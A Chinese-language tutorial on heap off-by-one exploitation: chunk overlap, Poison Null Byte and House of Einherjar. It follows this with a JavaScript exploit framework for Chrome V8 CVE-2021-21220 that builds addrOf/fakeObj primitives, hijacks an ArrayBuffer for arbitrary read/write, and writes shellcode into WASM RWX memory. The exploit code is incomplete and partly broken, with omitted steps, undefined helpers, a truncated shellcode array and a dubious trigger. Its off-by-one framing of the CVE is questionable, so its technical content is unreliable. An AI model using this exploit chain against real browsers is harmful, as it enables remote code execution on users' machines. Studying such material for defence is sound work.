堆中的Off-by-One是一种单字节缓冲区溢出漏洞,程序向申请的堆内存块(chunk)写入数据时,写入的长度超出了申请的字节数且只越界了一个字节。它常通过覆盖相邻堆块的元数据(如 size 字段的尾字节)来导致堆块重叠,进而引发泄露地址或任意代码执行。常见利用技术包括修改堆块大小、House of Einherjar 和 Poison Null Byte。
1. Off-By-One原理
核心要点:
- 原理: 边界条件判断错误,导致单字节溢出。
- 常见成因: 字符串操作错误(如只多写了一个
\x00)、循环中i <= size替代i < size。 - 影响: 可以修改下一个堆块的头部(Chunk Header),从而伪造堆块大小、状态(释放/分配),破坏堆管理机制(如 ptmalloc)。
- 常见利用技术:
- 修改堆块大小/状态: 覆盖下一个堆块的
size字段(如缩小 Size 欺骗free),制造重叠。 - Poison Null Byte: 覆盖下一个堆块的
prev_size字段为 0 并将PREV_INUSE标记位清零,使free认为当前块的前面有空闲块,从而导致错误的合并。 - House of Einherjar: 利用
\x00溢出伪造prev_size实现堆块合并
- 修改堆块大小/状态: 覆盖下一个堆块的
2. Off-By-One利用
利用溢出的那个字节,破坏相邻堆块的元数据(Size 或标志位),从而制造“堆块重叠(Chunk Overlap)”。本质上就是修改下一个chunk的size字段造成块结构之间出现重叠,从而泄露或覆盖其他块数据。除此之外 ,还有特殊的Off-by-Null利用方式。
根据溢出内容和堆管理机制分类的三种主流利用思路:
2.1 修改size字段(扩展chunk)
通过溢出一个字节修改下一个chunk的size字段,使其在逻辑上变大:
- 假如有A、B、C三个连续堆块,A堆发生溢出,将B块的size从0x21改为0x41,即合并了C的堆块;
- 当你释放B并重新申请一个0x40大小的块时,系统会把包含C在内的内存分配给你;
- 你现在可以直接读写C块中的数据(如函数指针、敏感Key),实现任意读写;
2.2 修改size字段(收缩chunk)
通过溢出一个字节修改下一个chunk的size字段,使其在逻辑上变小。当该chunk被释放并重新分配时,堆管理器会在其后方留下一个“空隙”(即原大小与现大小的差值)。这个空隙会被认为是一个新的空闲块。如果精心布局,这个空隙可以与正在使用的堆块重叠,进而修改数据。
2.3 Off-by-Null(经典Null-Byte溢出)
如果溢出的那一字节只能是\0,这是最隐蔽也最常用的技巧,后面单独一个章节记录。
3. Off-By-One实例
堆块在内存中是连续分布的。Off-by-One溢出的那一个字节会精准覆盖到下一个相邻堆块的头部(Header)。
3.1 Google Chrome V8引擎漏洞 (CVE-2021-21220)
CVE-2021-21220是Google Chrome V8引擎中一个极为轰动的JIT(即时编译)优化漏洞。该漏洞在Pwn2Own 2021大会上被安全研究员用于实现Chrome浏览器的沙箱内远程代码执行(RCE)。
它虽然表现为内存越界写(Heap Corruption/OOB Write),但其核心根源并不是程序员简单地写错了循环边界,而是V8引擎编译器的数学推导组件(Typer)少算了一个字节(Off-By-One)。
在V8引擎中,TurboFan优化编译器为了提高JavaScript的执行速度,会在编译时对变量的取值范围进行推导(称为Typer阶段)。如果编译器能够绝对断定某个数组索引“永远不可能越界”,它为了极致的性能,就会在生成的机器码中直接删除运行时的边界检查代码。
由于CVE-2021-21220(V8 JIT Typer边界推导错误)在JIT编译时成功删除了运行时的数组边界检查,这为攻击者提供了一个非常强大的基础能力:无视任何保护的、可控的越界访问(OOB)。
在现代V8漏洞利用(Exploit)的语境下,仅凭一个函数的越界读写很难直接运行Shellcode,因为还有 ASLR(地址空间布局随机化)以及DEP/NX(数据执行保护)等机制。因此,攻击者需要通过特定的内存布局劫持来逐步将越界访问转化为任意地址读写(Arbitrary Read/Write) 并最终执行代码(RCE)。
以下是该漏洞利用脚本的典型框架,主要包含:触发JIT优化、构造AddrOf/FakeObj基础原语、劫持 ArrayBuffer以及写入WASM机器码。
// =========================================================================
// 1. 触发 CVE-2021-21220 漏洞的 JIT 关键函数 (JIT Trigger)
// =========================================================================
function trigger_jit(x) {
// 利用位运算与有符号扩展的边界错位,诱导 Typer 认为返回值永远 >= 0
// 当传入特定的 x 时,运行时会发生下溢(Underflow),导致返回一个负数
let y = (x ^ 0) + 1;
let arr = [1.1, 2.2, 3.3, 4.4];
// 如果 y 变为负数,此处的边界检查会被编译器错误地“优化删除”
// 进而允许通过 arr[y] 实现相对于数组首地址的越界读写(OOB)
return arr[y];
}
// 强制 V8 的 TurboFan 编译器对该函数进行热点编译和优化
for (let i = 0; i < 20000; i++) {
trigger_jit(1);
}
// =========================================================================
// 2. 内存布局筹备 (Memory Spraying & Alignment)
// =========================================================================
// 创建一组紧密排列的对象,利用越界写修改相邻对象的 length
let trigger_arr = [1.1, 2.2];
let worker_arr = [1.1, 2.2, 3.3, 4.4]; // 用于协助地址泄露
let target_buf = new ArrayBuffer(0x1000); // 最终的任意读写工具
let data_view = new DataView(target_buf);
// 通过漏洞函数的越界写能力,精确定位并修改 worker_arr 或 target_buf 的边界
// [此处省略通过漏洞计算特定偏移并将 worker_arr.length 改为 0x10000 的过程]
// =========================================================================
// 3. 构建核心基础原语 (Exploit Primitives)
// =========================================================================
// 此时 worker_arr 已具备越界能力,利用它来实现两个经典原语:
// 3.1 addrOf: 获取任意 JS 对象在 V8 堆中的物理地址
function addrOf(obj) {
worker_arr[4] = obj; // 将对象写入属性槽
return f64_to_u64(worker_arr[4]); // 以浮点数形式读出其指针并转换
}
// 3.2 fakeObj: 在特定地址伪造一个 JS 对象
function fakeObj(addr) {
worker_arr[4] = u64_to_f64(addr);
return worker_arr[4];
}
// =========================================================================
// 4. 劫持 ArrayBuffer 实现任意内存读写 (Arbitrary Read/Write)
// =========================================================================
function memory_read_64(target_addr) {
// 1. 找到 target_buf 在内存中的基地址
let buf_addr = addrOf(target_buf);
// 2. 计算 target_buf 的 backing_store 指针在内存中的偏移
// 3. 使用越界写将 target_buf.backing_store 直接修改为想要读取的 target_addr
let backing_store_offset = 0x20; // 对应当前版本的 V8 结构偏移
write_oob_64(buf_addr + backing_store_offset, target_addr);
// 4. 此时 DataView 会直接读取 target_addr 的内容
return data_view.getUint32(0, true) + (data_view.getUint32(4, true) * 0x100000000);
}
function memory_write_64(target_addr, value_64) {
let buf_addr = addrOf(target_buf);
let backing_store_offset = 0x20;
// 修改背后的物理指针
write_oob_64(buf_addr + backing_store_offset, target_addr);
// 写入目标值
data_view.setUint32(0, value_64 & 0xFFFFFFFF, true);
data_view.setUint32(4, Math.floor(value_64 / 0x100000000), true);
}
// =========================================================================
// 5. 定位并劫持 WASM RWX 内存,执行 Shellcode (RCE)
// =========================================================================
// 实例化一个极其简单的 WebAssembly 模块
const wasm_bytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 7, 137, 128, 128, 128, 0, 1, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
const wasm_module = new WebAssembly.Module(wasm_bytes);
const wasm_instance = new WebAssembly.Instance(wasm_module);
const wasm_func = wasm_instance.exports.main;
// 顺着 JS 对象的指针层层解析 C++ 结构,最终定位到 Jump Table (RWX)
let instance_addr = addrOf(wasm_instance);
let rwx_jump_table = memory_read_64(instance_addr + 0x68); // 0x68 为特定 V8 版本的 JumpTable 指针偏移
// 准备要执行的恶意 Shellcode (以弹出计算器 calc.exe 为例)
let shellcode = [0x90, 0x90, 0xCC, 0x55, 0x48, 0x89, 0xE5, ...];
// 将 Shellcode 写入具备 RWX 权限的内存空间
for (let i = 0; i < shellcode.length; i++) {
memory_write_8(rwx_jump_table + i, shellcode[i]);
}
// 触发执行:调用 WASM 函数时,CPU 直接跳转到被覆盖的 RWX 区域执行 Shellcode
wasm_func();
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。